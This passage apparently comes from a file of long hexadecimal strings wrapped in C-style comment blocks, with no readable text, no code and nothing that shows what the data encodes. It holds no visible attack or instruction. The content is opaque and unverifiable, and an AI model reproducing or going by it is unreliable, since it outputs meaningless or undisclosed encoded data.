513452ec71abca6528de392b49f2eaa592f79b2b1431d45d0f1cc914867ef00d015305962271a1f851e380fb819ba418ed91cdf1ad906cf83e8d34ba08df9f84616458145926400672078aebf01489b7067de01950ada053c5b94ff3ee01ffc437eda86ea96e53cae7b96fe732f6ba76cdfd79048d0446c72ecf67bfc68481da4448d70610394032579169f1f5257be87830eca03aaf47c7db8a87540a498d5a9bbc9b0604d012d63b387f051644eacb35ed03c7cf57356c41cc9cc6df35ae2c8dcac5c8d8bc9817e32eb5ad0a0de87d44b6877af6681732de5d76de3447dbbee79162917d4a0e6ca9b08ab2faaa5b6d367ac2698e960ad152f95226ecd5ca6ca4dc0a5d43abb5096d2b4c6c4f0fbb27016b861eb3535c95dd293124a485617b628eca4451a9d8fa16e44ed0beb35551344fde739eb3763a4feffceea0c57c850807fd711c4fa544b35850370eb02d27340be301087f3429aca87d04ff5ee3ef09db141388caf79ca301b4d9ac6f708217a7884040ab7ffffb34802e920bba26bdf57349812cce02bae9ceb0ba18c21ac4c2cc062e602a21b630b0b8bdecb68575ae2821b065c5d707db6d26a2407f8ade60403c63f481ffb8e5b108b3a05f685cd0137b837dae49782876131885896c6af2fcf7edd0266c1c8bfc4df02732017a6296429fa991302c9e01dd313e1c3947f69a1e01c2a2a348ed7055061f7ded1eaff63384660f692a8567b32b2d1aef90a1caa8ec82f4bf8832181c6e12b53476cf56cbc18c10394f53a052c1ed8139637e2312ba038053ad9bb5bcdddef7391d0a1b442dd7029afe50c5fa08269eac55b192374e96787d73576f5a6ab58f1cfb49c49b29e45a0a4ff4c6a6e9a0f0e3df1709974344a3e6281e031717fbdaa51051510d47140f4d125f6f239be64e4aa451ea91fe224392cd7cb58299ae9cadb274874470b1c6079cf79946bc73acd829d4be1f4eddad2b8ac946de45278e5c20f784fb797a673a68cb090c45598646b8627dff4db43998c4838cb2a0fbfca9d57b9b471b201a7822f475a995bca1380aaedc83ddd47d534eec77ebdf28a546068f25fcffc4d9a1f9610e1cb0e55f52b3733b38f5348670a48455084006c196eb44cb8c521914058ff77ec38e830e9d7d4b81f19a75fc7b4b1ef8d85958c9ef1de0609c15d611485170a995d12574a42a0a1f942ed15ad945d8354a1740c2433d0870cf78d8dccdf5a016b3ef01bbf7920b280d74ff24fdfbda70f643458325873c362bc731e7651ab1a4c4e406348edd2823a854bfd104d25b8da7446630602d18ab6772f8cbef19ad1ed50b19b16b27f45d439ec55b05c306f792766d6a0ba105b9537216a07589b795eaf060379c56ce7a79e21f6ebaea0248f30b44f013a47c5ca8f8af0b4cc01ec1bb98a53a52a87b0a3b2f735c71978ca8f71ac3776123dea7442dc23bce8eb5efee95ae5bb287473c9f0b38daf6827e8ea83fbd06e1122914d21333cc5258e4c8fef0cc732df3f063d267804e4d646e6035438aaa186f2adea756cd3e0e8404e06df6da962672701678764dce8cd488f081cb9bea0222d23f8fc37586f7e64059682f42672a6b772385c73bcf6bd6636a72a0423f04aac5ca3f6f4db7108ccf4a9d6e6fa8b5c75f38a990b9652a59b2b759809eb3ed9dd68becf99bb6ba51596588d5298a0cafa2607bf51f3a014fec32c0b5c703e16e8eaa4f5aae8562ccb3aab72232fee8ca1efc22ade8602c00db75c193195647efa1e596d1da42e46dfd9898c1654582292ecd8446db7bace31a3747b142a15f32625e72ca4bdac093161af29599510a8b4877846c13de0fc3eef7c045e77b72266bfb11ddbe20c710fa9fde897779d29bd8a07cbe13de7730aa87bc2969c561f4c995f5841a09e2d766a991d8ffa3f20cebca56d66f0daa94499d41d8be1619a5d4d221a7f0d26422f15206a5276ae2e8f2b23f478386c3fdd4277b6d536e41c4c4b917eff9f5a74ccefeaa067499493bc*/
/*23e59ae0da9c57949563a0effe9e65f079b7db311c3bd4b7622c92de404e2f74586d2a8d95893a0d9e62fc248e2aa48eff6f92c061b4aad860a4258ea52c5f6c29558ef8b6a76b0c1429d8e37dffca03c8cdaea41b43b539d16ae5eed77b6a0fc72dd8510282d21876612a0288cbc65cc13e4f54ca3cdeca7c8922fee8aa35b056a154204808685c605b4f51a99fe7a7759a1f68b2fce68ad46625d21bbb328e80bc259d5bcfb4ff5b9c9a4141768cae7052df65e58010352b896ae45b88ccdcb3532c361f7688fd86b807b46fd0f4e2a5f131d6ceba27a08014d99e6e91e8b9110859400cdb73304f903b4fd8bf7d1b60b8c4e06bdd8b36df4ba04d5879f47d62ede435f8599bb8b03be7d4900fe56325fe83f4235a5c60fdca4c621f59fa9e593999f6f57d266fc33f323dbe1cf1a42529b91f0e3fc36f3b7d2b10f49a266a6cf4a4b4f5dd8489e36dfdabe1af53815cfdbaab40060d41c9a94c3b2dc66d69cc22b67bd2c9bc70a7ab17b0f93eed289ea85e08bf7d6d281f5c39d04827e34fbd2f66a257c6dfe4d7fb6bbe2603471fe87d62e32193b89f37b71d140aafe719d9a2b4c34146aabfe76dc879cc6eefc049e7e7a1e9cbf792dc13f7c27f523c8af473d0abdb28c2b9d1cf666787fd1696b1807ec466773e239527924f9c805447e75883d102013337df396b4346d9f0df46d73f6391d10b3e778ec69a180eda0dc5a31ece6cf69925167dfd58ac1b1ee7eaa0929af61d28757a9943997b196fac42e25a748faac5264c24409ba1c67430cc62b9041e2ea3cf502576f6920517e127cfaadd2db0cae68aaa9722555e056cf20e796d41230e237b35d597382e222bc359a7661743bd7a44ac67f005427ddc470ad38521f540350f75227668426c7fa82abf31a6aa2ed212a19a43dd7dadd5862bd9cca6fec89e897163eb84eb6be56facf2c1b941fe586decebad49ca2d950df1c11715deeeb221453824e5edd6945f330d4e8e821a8455dd6fdd2f3bbb5268a827d9a9fe537110c370d1b5af6fec40ea2fbe1b70ab0ba018a46b63901521c543639b1fea80e24798a891b8279d43a26ea33ca72e796716744cd4dc88551ad47ba58d33dc79a6e9952baff407476b43bbe61d81b9205d357d93e005e6821b7f7da5318234093f3a72fd9e141ccecd4d8d694403e2e04573ace007c44c2485f0e0227263a1250fe56ac2d216c62f9bace2a08d11547a7b4c6b0a0214d6c737b507dbf000834716ecf89b27826dd147b0505813ae453fab5353208993bc9728c02190b8dda5564dd7b97f7e691de08c5c85ddf82021cd1e6336f75a8c9d62921fdb8f5143f596791d5c600536984bdf70dcab85a00904908888deacb22b20e0c1174564224f2a532b67a5e23c908260c128dcefc72ca8d0e031e2228c1848472f3e93227c32d9d8d17814225fda4393367ce2d38b1540b03700e7802f253aceb549e7aec99f2b258b88ccbcd5733ad5cab74552b86e5856e88d601ebf86a09a0086d75d2c49e1adc8c054a817aeeb03268a7e195c10450190c05327aab18c4782962683a151da1c3d6c9eb8ded53951c5cb0c37cd41ff7c5b4e3fbdecf41a9449d6f6ee466d2cd2dc8641bbbffcf0256c8657d2b225bf9f809546cdb243f5d81bba3c5a6f44eac48bc6e8d8eeae06a39636c046dc446c36d7bc535cc45522cfaa9ee5e36e4428a750d3c4cae4529e40a1435d23785350f453768984c17475c289ad1829dc47428017d4d4f3b61a61e7585312621bd25fa324816a4013ec8d5b0e636442b944638b60ddef27d2cff105ce8f4e1b641c790d3b7b41e7a9905c811721e38b8c4e35311e6718cd54acc4dc5505efd038362c1b063b339243920069a457dfe1590795b1e6377877fafc377d36558412411ec95ba65bb719e02bef25fe9c3794b3fc3aae375dd721e764286aae3a77e376e64dfe1624607b4c70778e81cdd269870099102966861f1acba352f0d4dc81f92b1a6f29040c1e439774cdcf087c31e83db53f668de984aab31db3a20b6f50e544a2e226390bce14d35a789495c6fa401f80a2b8b8d9955fce22d3e3f09bb0a7dc31f7042ef47db79459c44330ffd8f4bc5f7ef8b5643a61471aa4286824b01691248605a7fb582f3fc70de7b15fe2368950f377214643ce2db14c1dddcf8a69857b2c7db9d3a20d18c8e5f662955dff74d875dde1aee8373c8c09e4a2e651eafa7f1edcbe1162358796df00ab10a0f0fe1c4fed113f0cfe8c90610db9eb2820eb541bb84f5353ddf8c752d66f5b570dcafe5f1f17129c06656a230ee6175f45fcfdc318c76824916e3e3b3a9fe982d2b07263f832b6d9b4696c381851e37a078f52472cb1091569d95c2f1dae85f9d591bc36ff17764640b22b9da75bffb05af0af13df4d3ba20f658c84b24f0845df1e37e3046e794005fb94c91b117fe0f7e9ee37ed5039ab99c58f764b4d7e2938df63091e9c5609cbd509386b82bdfd2e2bff57762a7aa71704efb89cb43fcd58925e3620d79605a1bc54b25934ff6678316e94312a2d51d80f366587fe7beec9f1dd5b97f772bb64add89828b814e32574402434b7d199259e51fe218fb05c0a6ec95ec5c4f9314c35bd33375c5b41b03c6f93ea0a9cc16cd0b30ef1cfdd06ae5a26f93d515a05b9650df760153367863cbd3943b3c53a9f9f69209b16a0279feac80a0f2a54949b3345eb64d4bcaf5f71767c60677e6b97ceadc0f5c929718257cee502ab3870b8e46e876f0a854b1dcc337b2176775f067fe7e0122dc62b6aeeb7bfaddcb83596a522e34e5ce8b40caeb57e35d1f4c9c2ed7605*/
/*ef57de8559ff6ac4a7a3ee5cac8f37d738b484d3a2136c44f838bafc74860d747511c16ab65ff864d103ecdb9ed5396571a0329c46008a658b04041e179f5fa20797d46313b6c279aecf2b147856e44958641df48cdbb1576a14af8e7697398ef028eda613cf813740d2a8de28229acb5dd4ca6c41299292128f35f0b68d5a07eeadc1880fc79eb4fb2b5278d4bf32e95591c1dbb6ccfebaa805b7b8927a97d67ec9741dd85dcdceca21fef62757ba83fe911c4862d3b0faafb299026cc3ac730027754d8ef7897e28419a6d9bd293c45a809b450f460375ff65639b1ed84431d79f9788649aa1aa32801efb1c43d88085928b342b5b32b35e9401f6bc34e9e668101c51d19cdc16ad730df5ab038627fa4b8e0aaf0570f6882f104cdf445135f338567448684445d321f15a1331a54565ee43cf9036c6b687e9816045297cd11fe920955b6e1dd948a16bfd150360355125c00160b1fe3c98269850620525007a1cf003b2dd057e9716739fd63d2794aba128fd9a1446531b855988d79394bc271c436501a080da4302d24cb50512e9f270a439cf6d47b3ce30b300b2380cc5deea539918cf383f6d6f200a5c96a3478e3a8590b766dff73ebb69c27db4315c954ccfd4e65896117f5681a6f0d2195d596426944f28917311faba20ab754a0c019607f71e8060496980e7d07730a53b16b6a9a0abe1df083ecf543dd4f68f330aff461ab5cdb8b3111ca1494558b123a2071a92023544e2f42865055e66e2a047e22aa49fb33d709a549f07a9b56ba93f34031bb60d71c565ce9db8332dcd30d424eb658fed06f52653991014b25db72d4cfb0d9592068650260f43bf9e6a02c3a53a47b0d8cde79ab95ac63cca49df59206fc0ff7182d059cc7609b5625f169d49a9998f441066a14953b95c517175327cd089f078824417a49d1c9402376d63d8730ba910ac40228e6053d441afb9166ed4688f8e3a85d694a319609b6fa0a0f35c406b16f7b6f08132f2f2814a802e0881ff5c6f0366120e49641a47223f6c952ddeff4513c98fc7855972ee137eddde98b7f395abd2988f5ab97401332ca635125c999cee01dbca1788124e6728afc3654bb72867bbf4366aa17a71bdd3d240059cc81fa487b9edc6693b4bdfc9d347b69a4c3cfb11cba9d859e2b089650fe3a8d96e4be9a8f68bf022bd369c8af8bc260e3625086cd0842a832c7c05993b244d5934c5aed39f0b102b8a6e5727e6ca597ffcfbc3925ce35586bdedad229df3e9c66ef6bc2885a590d1f19ae8d6e846723307069b5616dc9ea166ddd92dd85ad1e1bc406a4c10bb29d52715a62c80112cc2ee8a2399713a32f4acf722ed987fab22708a8c3f4b1df97bef39d515133f05ba054519272ebd3f2883dcb283b3c2c4940aa12fbb9f52c43272206c0d4fbace082c58f8c4c195138387a101ee7c6f3a5c67a96c528833e47022f8a366b3b0ad8cbfd0afd8b275c3f0166b97fab2618c2aaf321388771290d742275d6c9d1112ee8b6540feca5e712d16b48a5ceb8e9e9eb428fe8f9352c4f27ade473e82bd805e5e4f7e58431eda11a86dfa2da7cb31f311965b0734aeef4fec1a507142d3051a0082547ae40668e16107322fab1e19db8a7f73a0325356a098d393a3a67f3923231a4a15b048f0d3ed92e84352c6bf1fb950ee24ca239194112f33a4d378c10e85e59874ebae656825de2b2d13eb4be4a1d27ba3680dcf021c737f5f1c42b4ff565d9d3ecef7f60d71292596b83f1c72efa09a1ad8bd2259e0088f2582dacc21d53bcd71a5cacfeea5b4e1028cbb77ac459c4fb42f4d7f17ddf70573589b056be77eba8bb530cb7216fa02ba33c3c99f03eece530c3f16ff33f2a7c53f5b03709a48b4c8813cfc2ec53b7867766879710b357f0942d90e789c772b4f1600bd86e6978622cfd8abf7a8d92b5e82d340e360ef0ac9dabcef9a1db459f583899d6b180960dd8bf6c3501bb1d64136f7e5278276f3b9e8fa6b685decec60ce1d555118aeba9b3b2835823989dcaf43bd9bc71b499ee73c1b2e8a78c149b58ac096a3a9562240a55ac5ccce43bfb2067af9c2ce48716af4c5bcebd33515b5592f4d18a88efc2b552a3a9bf261bad1deef44798ff79bc9a6c9cebb20b950663c239d0d9ae0afc6f30d071fe7cfaacd84a971ceeb3d22e836dfc09de0ab9d6cfa8dd69dc66849ba97580e815245717d57b3d7249292627bc99c06a9496c78dcdb93da17fab80370d1429c067cf7e6271088e29fea6e4b830fa549a2a9c83f395a201c966bf88f7c0d82c797eeb48429717c2110053d50dc402c55c42f524a53e0f53881d70253558f5b4f1e3d2d13d32f6bf5b33b3086dcdf25b5d8a10afe081997494bca7a9946dfbece30da3ff5d3ca67d8296385d71d2bae0b11ef01c79410af3d0f169134e739924b4cc9d2e7b51b1781b03ebe2f18179879749407530c92a6f860b6149aab51bc0529f64e59649aaaa54ca4ac04249cfe7a147cddc5b57f65afe8c1cf26a45a5a83a412a0901df524a62bdbd9eef0630543a396782e2b10922b4be6c3bd12902a26ba2c4e017b3c4739b7df4cab9e946f4ba2301dae277d086adf6395c5549ab8ace296c751c3faef5185a72ddbd731ebd3903739e2e5787b67659f3bb19edc4b569381e31a3f8c8ad43bc76cb3b72836336319672d138ff4ff4ab381e2facf7ccf8bef6c654456b9a2c535536e37507669fa2bf3d71a1ed52764f725600861738a674d0c8267ee7252b3be42373dbcf73aab95375aba722d6a41cf43e04ba0cb565b62eba2ed3277db0fd051aa273b0ee9128368c607*/
/*aa5f89d388be0d924683a3692aa362a909aaca6f8fb0d84da48e1004ed1c175c67bfa79c9d1eb9096d7ff9ccb8abcb76784fa1acd160b0ed8582376c02b722203fd57b7c637320f5f4fd569321ded7e1bf81b93b27732265620f040472b9c9999bbba7627aa632aebaf115c8dc3c5c0118444daed81e4b20f3b4ddfac1a208374838309f6ea6326bcb7f925dbb724338fe7422ca756ad78224b758ca58797357d2e693f447e1bf94cc65a9a6ce451415c4b6777142d11b62ceb0dd6cbea085f6ef6187ec9baf74dcd28fd2c7248ac9f2d2478b5f9e3863b9898f42e5bf7d90e4a92c1adb150017036b01fae395658b0c2734c067e85ba8e8f86ce2228abdf69e78b061dbfc30fe8954ee96070ee2187a3307b683c69cc30f7ffb82f90c2ce94ac950cdef7a522e4e68badf4aeeb16e664015ca1ef414a4f7b3b6ea07409e24b93f31a3fea1a642a45e05471885a495c3885f594d36d12e93622789f3db473f09530e624ae1fd900c336f5b154528f7d8f548aac5cc3af314eb4ce8a25a56d00c39197d1da4382d57b2a43b1f8d120717613e333f41328187d06228c9ffaf6553e879d6062b2e36f5388a048d6ab76ab15c1e233c2c83328ee5c065320af67d15c49e71f1cd5f615f29a359747bb4fd9c252adf394029fd8ea41a3325488b53fd5d5f55f7a205c6e0c1fec1ff076d7f972eb4e64873dfc49e8fd5c3415e7cdb0cc224604a80668201b2b595f1e218e3cbb4f618ec9848cdf3244ddd3171ce551f6404c981f015a149f2c593dfdf12602bea6135d2e2bb094c904da0c307af243b247d7949bd59efd4736edaf27ffd92705c2560c2e5e03b010e71a0ba95e132cb62053631f62ad7f1a2ab1a781dcbef504c05240ed0cd39d31f69379d02e226514432ab961a44ce76ab579b49f78d84719e67e65d931750a5c2ab43dc671637cc40b52391f9170ddeead17a5d309fd28c269125ffdfaef79f9dc63c6cac601b55b514fbe23f08580f7c0372ae62d333dfab0d2d8dcb6ed9f8657010737caa4bbba573894fb6f827d185ce87aeed598ed7a859a1ca2eb7a12b98eb5ba050fad4389706ed4781288258394a764c299e2cb443956ec988e453bcc0e450a0eccd9c0390cc6140cbad463d5b0e09e24303625199863a1da440dc1dc94da95e19e5f23f9891443b45f0a30c23e90e7ce73ab86922453e3b3e813f24535bcb3774cd9c3fe876294f70153d3e9b25e5131e168017aa61477566028edbba9c7643074f479a5356ba4efee31dae7f91a9e34cd586866a2e15203120abefddf0efe8e7783ef34a800c94aeccf8fae4e714f3cdf83566d2486739dd4977e043cd75e1cf81fd09beac36d98d3a8926e88cc14390d743d57748d5a85af9cb5e21f492fd293830b17b9650ca577dfc9bbb2f78ab6a60352cc7fa87bb0140b630c79496a465927172ef23f8e2387f2c9f038e6c622fc9e63fe7739d55276a0d1263c84098647e561fc95af0dc999b9ff7de9e2d69efc463aac2dcc53aeb86dc3d88ff838cc0ab01e96cd8e35b3989a5491b4a9b0e8f2071a9cd892e4006a9f8c69d551521c8ab3f922a8ac880f5e160dd16ca27b34ec77f8e106be8f8cf4b5401e16571c15f835077c8ab1553f734a55513a1b9216dbb7239be4cb826209f4ce9d7b6f36979573e8a5de04b899d28513358bd336c84424c3d831be740301ff6ef0e07ef759d389315b638137a2ab2c6ba4af52be602ac49c73c30a367d22b19bcb135a34443bfff8a87b6456b447c2b3adb84a31b1ba4203e9bf64a1617efd806081c8637e2e8fd3255f3d22ffb15b5be21b607914f410dc253499d2a8c6bfad4d99a56bdf0291d89630fa7eee129fcb46b8f89c61d415a5b283b90a8ffaad0fde4151825d445aa39625970b9ff6fc4eb4ee0908c981018d0af2502239de03f3387e7f76e16400a4c857b9e27acc22abb2e2a897828b3199e953f5c182e62b95374cf77ec9f73420b59cea10056f9af962d03685f6eab051e2ba4024e094ecd2b532cf837356dc5f83bb781f72003d02f329319a04b407210a97b06bc76c03e120dbb8f1d460d1eed329581fba33320a8060547eb483d5a053eaa3574a724b143c73bb3b78e5314636bb19a4794af2b27b17c703316efc9a541bb5136ec04fa9fb1f0e4b840373113832b0e103d257374e85f34dab9ab9469631665991b66878e8dd3e55361349799859e08ed6a94cd5a00c87e9c4f80f1ee3c1b954b2b327ee01dd62577d05cf8ca3e9522584b2316f545d5e8474e240f23f85b43c068215c7972274d46fc8a8f31cbab04c37a75f4edc210014d73af73e85449da08e51573c271a6ede46f1da35d009cc2dd78c95ab9fe69bb8d5e8f94ac49ea948677d32eaea197c5fe0b767b69bf2a73b17eb82eec00411b3981dd354488a67c28cb420ca81363d42e57e024afa1111b86be37a78939715967a1cead2d6d53b072d04241f06ee41e57209dc3e28cfaf54f89c8edce4fe0352d3093a0de697fb4d4cf89e153b478a1aaa534aa0fa3f92a129fa20bee2d3c909a6a1cf550b05eb45360963359362a378e79369cdd146b4c3619073f17bc6a38d0cedbebda287606987f972bee1ec585f815d3925c7505f2eb81011ccb6501aa5644e08c94da6c41c3e1e10e52ac4b3ff71f1791353b60fa148ad7bdcfa02eede7b3615f279173c5ed9295da7b9fe8a14b606d7bd39fdccc0ff67cce0937ed594d1de812ece731b1ba0eb615eacbecbb774c76526003b8e30581302ff2458dd7daa32ae7aa84d95472d0abe7577328838c51de98829121989f712f2a0d0e4560d64d2d1657*/
/*17ceb7ff9ea485169ba4a02edcb6a5e065cc21d2434f5f0003b0d1f0d24cd3129672cf512c9e4e4fc2d4d65409201316c2d6ee1baf8ad6bf4978b4447c9ff500a254747d4fd0cda950b5b832d0ab254ca008580d845af7a2e23f05ac250c452d9d4098124c46cb846ed9af652d78f9ab24365580a4c829814badd54e8e2db83d9aa7d2c6dc639dc81cc076cad8ed2b6f32dc473341840c433ea26b240223f54c0ddf87056f5ce918f522fe91747a311871ce7286cc8402215b5802644326d25721f95abf3ebe75a7134077e8fb986af6aa311f95c87f01fd19a71c36baed359bebc77aabfa723e4b8369eeca2c4677b71b150f1d275cff4e426e906a7174631d0b026f2f72fd77676e02cd20ffb19d37cbf1ca0f4db8d11d5767939a7127bef676a3f954ac5d5641a8295babf0d50e4299dca4afff563c205c5d6198a18067768fefcbc7b00394331b226db72f98d00a13651102fc19b47b309afd58d71872ec1f6913f164f2a13b88b4200a338be2476d6bd756e570cb201881a579cf612a4c1ebf4c3ef88d127bd5dd832b78d77625ffb26299af1cd2e50d6e8529568df8cf024cb387fe2022d835898b1d1408fa6315de132aa6ee90ee136d020beed951e321c01a1c7e235a623a3db1c52cf7aabf56cdd933b65f294340c02bdfaac8d36b7880564366a0cf277b2c032e5a27f7c09dea7499edd62cfed3c73982bd92b933bf8f287d22afb8de6bfd25bbf1ff85645a1393ea4ecda40de122e7d71fc4ee66b24d59e21a6b837f8da033320651c757b24db18f6c36778f04d9ca2ea6e0a415e45f7ed159bea4f0e82e49672fd3ad8d6d49909fbfe7a92d20a2902049fd834db38069c933e2efb9d005283f5194fbee799b686c32987a9c950ce3825720b33ff10aef6547b7541de29c5316084446787ed85973a4137faa4342ede3163ceb200145d7b09553c37dd1d679ad7dc978ec9317579c90645746044ee356f23c77f0d406481325c61cd97adf5b65f879b6a40cc05678cdeecff7d6db31dfef1a75a2d822d288d45364e8fbb4db160e0da9f67753a45add02499d649ab46a9d947eb1fd8d1986c568a03788227f863b75cd808d6ac4fc5370c632df086f94d13fdff2006b79e94fc826d9acc9bb23a8ef3568504852e6c29b03ad19b6c7239fc239869cf997fb9ac0112c4743fca8cff12337ad029d3937551e73d6582e57f5d80e026ad837a42f30c2f54b32f9c57f50cb9391d756ccc6e786df4ee2e1b2044361cb5883e45b05572725772248d5d57a6c49eaf3e37d19cb65647c17ae3e936f39a11d3f69590a2642169cee3e1b685d4a7f498be4dbc263b067f3db4799ff0ce3565e4bf22a424fbd801197e7464e5bb79b845b43d7965182b13dd97f93e16f027af64dcb934154152716c09154e8c4fc583b3414170f81dd090c11fc70497436987f66a85710b2f1c8268ab7759b1c51b362d9ef994cf6d97592486dd9c5d07ab6689c4f536e24bc91fa96253c12fcd093911f276c3d63af16ee6ede020868c941eceeb0d40ca105a54844d8467d339a484ac5c63cbda3a436b859dc060747d24a2ea9538f10e6ef8c060a58a27a1f9411effd468da2431b2627906b6a6b53043c1b97b3e1e987d0bbfb21863463f932cfffce9a6dfe38fb6ac7cc247e97c4573b893d609e848ebbfad1d1c1c16b960dbaefafef2b15bcbfbfe826ceeb27811f93bfd8fc7bb574729b4ea3aaa23b1d1237b1b0bf6fdca883a4f5e075e5c7ca96bf60fe2dd6219464ec4970cb4411a624931cbe3c6313f5efc3447557ce3ea8b3a47f99afb4a05a420a3d1be9a9a2e106aaaec30c9b5c0dd6fcbe76d37fc4e0de6906cb54fb23ba2bfce2dcdbf0a57f285894a53570b67d527717a574fa198c9efba6d0c008d3bedcaea2b1a4cfa6affdae59c0259bff9402cf303b54d7f220ffb454e247bcc7144b3fd048177fbe00c49b853b37931ba444220a394cd0e283b544588042cae5b62f76b2931cc91ec4a849403c660b37747112a6546303b267bbb61ca37ee34fbc8bdbb9aa4786e22fc98c2c06593dca31bc06422d78eeba5c91a5607055669e7f50fb59c418bbe9afce4b5371257c85810759f746309cffffa918fd121e36e7f7e8889d22648d417637110d072030975fc028560014dcebd021944de2c47bb107ada67dfc921acc4a39c5438aa14097c08070a8e172411433f5fa19b3567816760cd9b5fa2fdd63011debfdfc857761589f89cbe98924a949189890828fcdb4e96ee36a89d82431e076eb8e0ec312e77f198951259395d8bd0a400e7910359b7aaf29d22f9f1befaf43b78a24142d3114720f412fbf4ff315788a3908a524491c6d7beeb1bb92cc103a2b1fff0bb110b9efbadae10639349b85912921d85b9bd903ceaea0992c15ee9a9eb30608b2a5081ea122b2db2f323041a5a4f539606e05d93599045d68b09d1fef04ad8922c2225ce24043fa368788f376b69f821994a9c24e43275115bc261529c6d6b15301fba8afe88b8827317966de0a05d2c442550601c792d7e1a9f43f3bca10408f8a22b4e4c87d6055687d0468f48cd715ea417af8661302c50c5e1876a0c5873d825c5a4754eab209a3a104b50db5f69af7f6a57edb8025160bd3643dcea0a972590e2aee8b95f7c540e5ff5fa3181ca04065a7e6516a8ab773a3e333e96a1e92d5bf53205c142bfa5457c91f72c252c2923071e4b19edc0f54cad6fbceeed5e78d67480b260eef67e133ae7a0681c7f2eb4f60c5c03c28024e5319fd27a2ae6b7eb23ce9e10c90b424b76a6194f1014dd3baf732dcebf16ac9ba1c20*/
/*8b5dc44ac40d5cceeb8dc2f9a366c060d918dfb559f0efde1da5002a9f66ebb65da73ea9932132cb8ef4d6459006ac424901e130ce5beb3953eab165f67636bd443687bc85bb96996fa45ba8dc86455eccbccd630f3a7a728f1be19a308ebbceeaae16fc5f3ddc06894d4a7a17259b092526ed035ca2824c48d81fd2aff800b77bd3257d9a7caf93579be0ea5c5b0025b4183b60cde6c50519adadafcfae5b672f67c0ade7b5c311cb180229614113a5198f26df6556e5220ebd53379fa9589432bf563b6781fc69b7cb6991075275dafd22ff571ea5d1eac7ca009e4fc5be4c531f149b65fdea3a126f98337640ae6dbed0376484d812116d1ba8e5fbd8aabd056f15d4a282442986509e8f2da260679555680ef81e74ac006b2d5ac6a3e8882565017cd2ab5f5eb2ecda5f55ecfb0c7f859656856b613f6a10e6c09790115a4a3c1e01bf05d58eba3a48af6a3e1a83b978c5dbe3fa7b7a68055972df776ecf0c758c339e09c38dc5d69ec9515d372d685076570ccf9788f1811d80d315c56d94f724e48fe5f1902ec39ff15369b0cb4306c05f2d622458cef3431d284b0f5e056f248ca4fb80070dfe84009a67188ce6ecce12ed5c7466bcf819f357f63632e35bab3ee91b932ead475324949f9f132eec23ed06d4e82f4c9c761514fa7fc70698ebf37bfda6e5c029b6ae2acb8d2f8bf434517f9f187520cf669827c38dfdd17de1151a1436a70f61e0788492954f7c295a5815c5c0e5a0f03e781b94185024ae381d82d1092be2b07364cce873e13c34d2b197f85a18e7bfe9c114bb029cb5de9d36fa900f6aaa8d5775cba39be3bb6a897c627a9c73b6ba28ec392986d62c57e96d49304c8acbbb342adcfa92497d1e15b23b58d859026a7041a38f0097a54a74b4e5199224182241581bbd52148a64cc7c4fe798c54660f9df1dcc2ad0d0006f46325227c239ffd4663d3c409b02026b99b24755d40b24ee8229824b7dcdbb848f0a48eea76fe9ef287492a5f49bbcbb0ef226cc2024b43e687285d42687c64c9f41671c14699ffc95fbb836b8eb39f7a12015e5557c430f2f320b0940ac998384a030d93432ecb79f703c44fd83a88d9d1b26790fd35021e3897c84ddea821f63a1b22ad5e36f35d781b26e51d94788ddd5ec27ba854525b55b2a180e4a707de9b2f28b0b2748975bb795c8278f33a3b8bbf3629db1bd6995a2a5e176e9b38202b82d3b8b308c4d69c4253c9527084c661b12817282c89a1902a0a2f3dc6c55ba90387d4ec0c421450f492f164e2c8f6f361a5a3db37da7a9568928655a1275f8b311bb334ffcfc5042523873fd1265669983d623d6436283b1bce863a92da41f3207ce141dc8963e87e21775dd7455f1abc39f346660e6f53ddf85760fbb67bc3a41a3828c5d5d61f4d0f6ce0d8a94ab5effe3176659e6486b03e2dc1b1a4cff91aac2bb572da8700db3aea1ed2731132caeb9e770fb1157aeeb908ff0654a0f6a8488318bf96d6c5b4c45fffa6f7a10a9b04b7b059f19f9d4fb36844c7835a4b4ce1e1c19a06fb8a1d7dae48e383eb7fed896391b8426436d595c77c03c23e2af59b88783a2ebd50cd85462382e0e3a3ec67405ebe6f0b40ffbba82fbe884059a7c8b74604997cb0a4df56402c3d26620a1b12ad3048521f9a832ab5a78683e108dfdbe8ef3b9cdc33c5da6bce37c8cd7db37cc24c0108ce09120cd707632d56612829c028018cacc0ec429799bfed7ca87d6df073298b948885c43ab708a2dad9e66e7bf9cf8644ba2fda9b82112b17e184a80114ef0a27dd0927f65cccf7f221784a3ee88c6cbba82d68da73be6dc796e7cdbb4e2484464883484368253d2a3f0db5964c38106395c984bb764a1dcc158206f5be44d104090290134ffb8673e97ba2c6e99e33b563db96534bfbb64b85a62498b2dbb71bc41d1a040d03a1794c64f1f4450bbc9ee916de474664152d2d2afd530be39869b18e047e1fe442dd68daa66e17f691cdebc77c8167e8c8c39376574d6b632a987b971c9b69df0f4b7954a39d814baa824fde15ea5d7ced481e1783bd81bc1d69a3a143873195fc5ba578a400048ffe3fd7023c60684b6ae0c3eb60a400d2fd3c35aaecc9dd51ca2e518aec3ebe0265974fddd6aadbaaa7397e9f7a3869fb09dbf1759c153009e0202a2b32b41b7b98409bd0ad8f1014437245a21ddc36a811549a23a321109604f22bcad1a1f1940f4ddfb5bf909c0f29c68850391d8abb4adcca5058d87617cde0c6568483b4eecd44afa46ed2804d418e3de4f27d594e5466a5137482ea8e777d77035048b6abd6cefc7c7acc4661e3f33bd990b05f16a5f5a04014f5fdbf157e9941c0ab702b6304cce2f5002500137a8aedd72ab372c8343f5512aef879dfedfe7239e967dcb5258f0251341fe49440497bdf1409248d55b3371ce8a53df3aa17171cf3173da7e8eebfd1f9fed110f5280a704d37ae5813f16b29b08ce4e96b397348f65494f5aca5a4abcb5f89a7f9957639701ec13e2f1f00b5c3b4a8b4ec78f38b850ab5579b718225520ae8b6fb6c9acbaa51a44412535b8a1b1d9ca378085ef896f292657a2580aa68e0e359a0a71497536c2dde087f45cb4465c99232cdc285134b4b8a70a12de27d029c670ca7d6f55f503793ea393afc94ef0e3ac65180000e72528c1ddbc980228f3be13f7842e9813548af58d66e96ca51bc468a8b68f64f169bb9ec42758015dffbe1f203d1a5ba43ea9e1a656b70d94e9dac85ea4dcd72573c1fb75a781161f751cb5d0978b84434d773f1edcc3372a0c35e5e16fa15faf1c931002fe2e08*/
